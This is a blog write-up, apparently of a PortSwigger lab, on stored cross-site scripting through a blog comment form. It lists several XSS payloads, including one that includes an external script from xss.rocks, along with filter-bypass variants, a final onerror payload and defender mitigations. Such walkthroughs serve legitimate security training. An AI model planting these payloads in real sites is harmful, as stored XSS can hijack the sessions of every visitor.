Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Stored XSS into HTML context with nothing encoded

Stored XSS into HTML context with nothing encoded: Submit a blog comment that executes alert() when any user views the post (stored/persistent XSS). • PortSwigger • xss, stored-xss

2022-09-133 tags
Tags

Stored XSS in Blog Comments — ENHANCED Write‑Up

🎯 Objective

Submit a blog comment that executes alert() when any user views the post (stored/persistent XSS).


🧪 Lab Context

  • Vulnerability type: Stored Cross‑Site Scripting (XSS)
  • Injection point: Blog comment form (body field)
  • Execution context: Rendered on post view for all users
  • Goal validation: Visible JavaScript alert popup (e.g., alert(1))

🔍 Discovery & Approach

  1. Locate input: Found comment form under each blog post.
  2. Hypothesis: Unencoded/unsanitized HTML is being stored and later reflected.
  3. Method: Start with low‑noise, high‑compat payloads → escalate if filtered.

🧪 Payload Test Matrix

#PayloadContextExpectedResult
1<script src="http://xss.rocks/xss.js"></script>HTML elementExternal JS includeOften blocked by CSP/filters
2<img src=x onerror=alert(1)>Attribute/eventTriggers on image error✅ Reliable in many labs
3<IMG SRC=javascript:alert('XSS')>URL handlerJS URI in src❌ Modern browsers block for img
4<img src=x onerror=alert(&quot;XSS&quot;)>Entity‑encodedBypass quote filtering✅ Often works
5"><img src=x onerror=alert(1)>Attribute break‑outEscape attribute, inject element⚠️ Use if reflection is inside attributes

Note: For stored XSS labs, the simplest and most portable choice is usually:
Final payload: <img src=x onerror=alert(1)>


✅ Steps to Reproduce

  1. Open any blog post and scroll to Add comment.
  2. In the comment body, submit:
    html
    <img src=x onerror=alert(1)>
  3. Submit the comment and navigate back to the post view.
  4. The stored payload is rendered for every viewer → alert(1) fires.

🖼️ Evidence

  • Payload submission: XSS Injection Test
  • Alert firing on post view: Alert Triggered

🧰 Troubleshooting

  • HTML tag stripping? Try attribute breakout then element inject:
    "> <img src=x onerror=alert(1)>
  • Quote filtering? Use entity encoding:
    <img src=x onerror=alert(&quot;1&quot;)>
  • CSP blocks <script>? Prefer event‑handler payloads (onerror, onload).
  • Input length limits? Use minimal payload: <img src=x onerror=alert(1)>.

🛡️ Mitigations (Defender Notes)

  • Contextual output encoding (e.g., OWASP ESAPI).
  • Sanitize HTML with an allow‑list (DOMPurify in strict mode).
  • CSP (default‑src 'self'; script‑src 'self'; object‑src 'none'; base‑uri 'self').
  • HttpOnly on session cookies (prevents document.cookie access).
  • Avoid dangerous sinks (innerHTML) → use textContent/setAttribute safely.
  • Server‑side validation + WAF rules for XSS patterns.

📚 References

  • PortSwigger Web Security Academy — Stored XSS
  • OWASP XSS Prevention Cheat Sheet
  • MDN: Content Security Policy (CSP)

📝 Final Answer (What to Submit)

Use the following stored payload in the comment body:

html
<img src=x onerror=alert(1)>

When the blog post is viewed, the alert box appears — solving the lab.

Navigate

In this post

  1. 01Stored XSS in Blog Comments — ENHANCED Write‑Up
  2. 02🎯 Objective
  3. 03🧪 Lab Context
  4. 04🔍 Discovery & Approach
  5. 05🧪 Payload Test Matrix
  6. 06✅ Steps to Reproduce
  7. 07🖼️ Evidence
  8. 08🧰 Troubleshooting
  9. 09🛡️ Mitigations (Defender Notes)
  10. 10📚 References
  11. 11📝 Final Answer (What to Submit)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.